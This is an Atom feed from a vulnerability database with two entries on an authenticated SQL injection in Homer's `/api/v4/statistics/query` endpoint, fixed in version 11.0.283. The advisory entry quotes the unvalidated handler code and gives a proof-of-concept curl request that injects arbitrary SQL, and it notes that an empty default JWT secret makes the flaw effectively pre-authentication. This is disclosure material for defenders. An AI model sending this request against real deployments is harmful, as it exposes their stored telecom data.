<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://vulnerability.circl.lu/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-10-08T15:13:55.020936+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>info@circl.lu</email>
  </author>
  <link href="https://vulnerability.circl.lu" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/fkie_cve-2026-62251</id>
    <title>fkie_cve-2026-62251</title>
    <updated>2026-10-08T15:13:55.328728+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml">
        <p>Homer is open source telecom observability software. Prior to version 11.0.283, the `V4StatisticsQuery` handler passes the user-supplied `rawquery` field directly to DuckDB without calling the `sqlvalidator.ValidateRawSQL` function used throughout the rest of the codebase. Any authenticated user can execute arbitrary SQL statements against all data accessible through the FlightSQL service. Version 11.0.283 patches the issue.</p>
      </div>
    </content>
    <link href="https://vulnerability.circl.lu/vuln/fkie_cve-2026-62251"/>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/ghsa-f46q-3v67-fmm4</id>
    <title>GHSA-f46q-3v67-fmm4 — Homer: Authenticated SQL Injection via Unvalidated rawquery Field in /api/v4/statistics/query</title>
    <updated>2026-10-08T15:13:55.328851+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> Go: github.com/sipcapture/homer-app</p>
<p>### Summary
The `V4StatisticsQuery` handler passes the user-supplied `rawquery` field directly to DuckDB without calling the `sqlvalidator.ValidateRawSQL` function used throughout the rest of the codebase. Any authenticated user can execute arbitrary SQL statements against all data accessible through the FlightSQL service.</p>
<p>### Details
**`coordinator/handlers/statistics_v4.go` lines 74-107** — `V4StatisticsQuery`:
```go
query := &amp;model.V4StatisticsQuery{}
if err = c.Bind(query); err != nil { ... }
// No ValidateRawSQL call here — contrast with other handlers:
results, err := h.flightService.Query(c.Request().Context(), query.RawQuery)
```</p>
<p>**Contrast with `coordinator/handlers/search.go` line 194** — secure pattern not followed:
```go
if err := sqlvalidator.ValidateRawSQL(rawQuery); err != nil {
    return c.JSON(http.StatusBadRequest, ...)
}
```</p>
<p>`query.RawQuery` is whatever the caller submitted; it is passed verbatim to the FlightSQL/DuckDB backend. The handler is registered under the `protected` group (requires JWT), but given that the default JWT secret is empty (see related advisory), this is effectively pre-authentication on a default deployment.</p>
<p>### PoC
```bash
# With a valid JWT (or empty JWT secret bypass):
curl -s -X POST http://&lt;homer-host&gt;/api/v4/statistics/query \
  -H "Authorization: Bearer &lt;jwt&gt;" \
  -H "Content-Type: application/json" \
  -d '{
    "param": {
      "query": [{"rawquery": "SELECT * FROM information_schema.tables"}]
    }
  }'
# Returns all ta…</p></div>
    </content>
    <link href="https://vulnerability.circl.lu/vuln/ghsa-f46q-3v67-fmm4"/>
  </entry>
</feed>
